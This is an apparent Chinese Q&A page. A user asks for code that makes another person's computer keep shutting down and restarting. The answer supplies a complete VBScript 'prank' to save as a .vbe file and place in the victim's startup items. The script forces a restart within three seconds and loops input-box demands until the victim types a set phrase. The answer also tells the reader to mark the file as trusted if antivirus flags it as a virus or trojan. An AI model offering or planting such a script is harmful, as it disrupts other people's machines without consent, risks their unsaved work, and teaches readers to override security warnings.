Question

有没有什么代码让别人的电脑一直关机重启

Answer 1

有。将下面的代码复制到记事本，保存为vbe格式，放到电脑的启动项里面（如果杀毒软件提示它是病毒或木马请将它改为信任此程序）。电脑将每次开机后3秒内自动关机。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 3 -c ""说不关机，不说不关机你的电脑将在3秒后关机！""
",0 ,true
dim a
do while(a <> "不关机")
a = inputbox ("说不关机,就不关机，快点啦，说 ""不关机""　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "你已经取消本次关机。"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "取消成功！"